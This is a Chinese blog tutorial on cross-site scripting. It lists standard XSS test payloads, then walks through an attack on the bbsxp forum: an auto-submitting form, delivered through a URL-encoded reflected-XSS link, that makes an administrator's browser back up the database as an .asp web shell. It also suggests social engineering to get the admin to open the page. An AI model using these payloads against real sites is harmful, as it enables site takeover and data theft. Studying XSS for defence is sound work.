什么是XSS跨站脚本攻击

了解XSS才能做好相应的防范措施
服务器君一共花费了907.896 ms进行了6次数据库查询,努力地为您提供了这个页面。
试试阅读模式?希望听取您的建议

跨站脚本攻击(Cross-site scripting,通常简称为XSS)是一种网站应用程式的安全漏洞攻击,允许恶意使用者将程式码注入到网页上,其他使用者在观看网页时就会受到影响。这类攻击通常包含了HTML以及使用者端脚本语言。一般而言,跨站脚本攻击漏洞常见于网页允许攻击者通过输入对网页内容进行改写的地方。由于利用巧妙的注入恶意的指令码到由其他域网页的方法,攻击者可得到了更高的特权,窃取机密的网页内容、会话的cookie、以及许多其他的物件。

XSS又叫CSS(Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。

XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。

传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。个人认为这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。而本文提出的另一种思路,则从一定程度上解决上述的问题。对于个人而言,比较成熟的方法是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面我将详细的介绍这种技术。

如果有代码的话比较好办,我们主要看代码里对用户输入的地方和变量有没有做长度和对“<”,“>”,“;”,“’”等字符是否做过滤。还有要注意的是对于标签的闭合,像测试QQ群跨站漏洞的时候,你在标题处输入:

<script>alert('test')</script>

代码是不会被执行的,因为在源代码里,有其它的标签未闭合,如少了一个</script>,这个时候,你只要闭合一个</script>,代码就会执行,如:你在标题处输入:

</script><script>alert('test')</script>

这样就可以弹出一个test 的框。

通常有一些方式可以测试网站是否有正确处理特殊字符:

  • ><script>alert(document.cookie)</script>
  • ='><script>alert(document.cookie)</script>
  • <script>alert(document.cookie)</script>
  • <script>alert(vulnerable)</script>
  • %3Cscript%3Ealert('XSS')%3C/script%3E
  • <script>alert('XSS')</script>
  • <img src="javascript:alert('XSS')">
  • <img src="http://xxx.com/yyy.png" onerror="alert('XSS')">
  • <div style="height:expression(alert('XSS'),1)" />(这个仅限 IE 有效)

使用者可做一个网页,试着用JavaScript把document.cookie当成参数传过去,然后再把它记录下来,这即是cookie窃取 。

XSS攻击方法有:

  • 窃取 cookie 。
  • 利用 iframe 或 frame 存取管理页面或后台页面。
  • 利用 XMLHttpRequest 存取管理页面或后台页面。

有的时候,当我们对于目标程序找不到可以利用的跨站点,这个时候我们可以利用可以从外部入手,利用我们要拿下的是它的论坛,论坛的安全性做的很好,但其留言板却存在跨站漏洞,这个时候我们可以在留言板里写入跨站语句,跨站语句为以表单的方式向论谈提交提升权限的语句,如上面的bbsxp加asp扩展的语句。当然我们可利用后台的备份功能直接得到一个shell。

例:先上传一个文件linzi.txt,内容如下:

<body onload="javascript:document.forms[0].submit()">
<form action="http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf" method="post">
<input value="database/bbsxp.mdb" name="yl" ><input value="database/shit.asp" name="bf" >
</body>
</html>

上面的代码是把论坛的数据库备份为shit.asp,留言板存在跨站点如下:http://127.0.0.1/bbsxp/page2.asp?username=

我们构造备份跨站语句如下:

http://127.0.0.1/bbsxp/page2.asp?username=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%64%6F%63%75
%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61
%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F%62%62%73%78%70%2F%61
%64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D%65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64
%3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F
%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61
%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%61%6D%65%3D%22%62
%66%22%20%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E

或者构造跨站语句,利用iframe打开一个0大小的linzi.txt。

当管理员打开后,会自动备份得到一个shell。

从上面的实例,我们可以知道,如何欺骗管理打开是一个很重要的步骤,对于欺骗打开,除了社会工程学外,我们可以结合其它的技术,如sql injection.当我们渗透一个网站之时,主站mssql注入漏洞,权限为public,这个时候我们利用update构造跨站语句,如用 iframe打开一个上面的备份得到shell的跨站语句等,同样,我们可以在社会工程学时,利用QQ的其它跨站漏洞等等。

本文地址:http://www.nowamagic.net/librarys/veda/detail/183,欢迎访问原出处。

不打个分吗?

转载随意,但请带上本文地址:

http://www.nowamagic.net/librarys/veda/detail/183

如果你认为这篇文章值得更多人阅读,欢迎使用下面的分享功能。
小提示:您可以按快捷键 Ctrl + D,或点此 加入收藏

大家都在看

阅读一百本计算机著作吧,少年

很多人觉得自己技术进步很慢,学习效率低,我觉得一个重要原因是看的书少了。多少是多呢?起码得看3、4、5、6米吧。给个具体的数量,那就100本书吧。很多人知识结构不好而且不系统,因为在特定领域有一个足够量的知识量+足够良好的知识结构,系统化以后就足以应对大量未曾遇到过的问题。

奉劝自学者:构建特定领域的知识结构体系的路径中再也没有比学习该专业的专业课程更好的了。如果我的知识结构体系足以囊括面试官的大部分甚至吞并他的知识结构体系的话,读到他言语中的一个词我们就已经知道他要表达什么,我们可以让他坐“上位”毕竟他是面试官,但是在知识结构体系以及心理上我们就居高临下。

所以,阅读一百本计算机著作吧,少年!

《Python学习手册(第4版)》 鲁特兹(Mark Lutz) (作者), 李军 (译者), 刘红伟 (译者), 等 (译者)

《Python学习手册(第4版)》学习Python的主要内建对象类型:数字、列表和字典。使用Python语句创建和处理对象,并且学习Python的通用语法模型。使用函数构造和重用代码,函数是Python的基本过程工具。学习Python模块:封装语句、函数以及其他工具,以便构建较大的组件。学习Python的面向对象编程工具,用于组织程序代码。学习异常处理模型,以及用于编写较大程序的开发工具。了解高级Python工具,如装饰器、描述器、元类和Unicode处理等。

更多计算机宝库...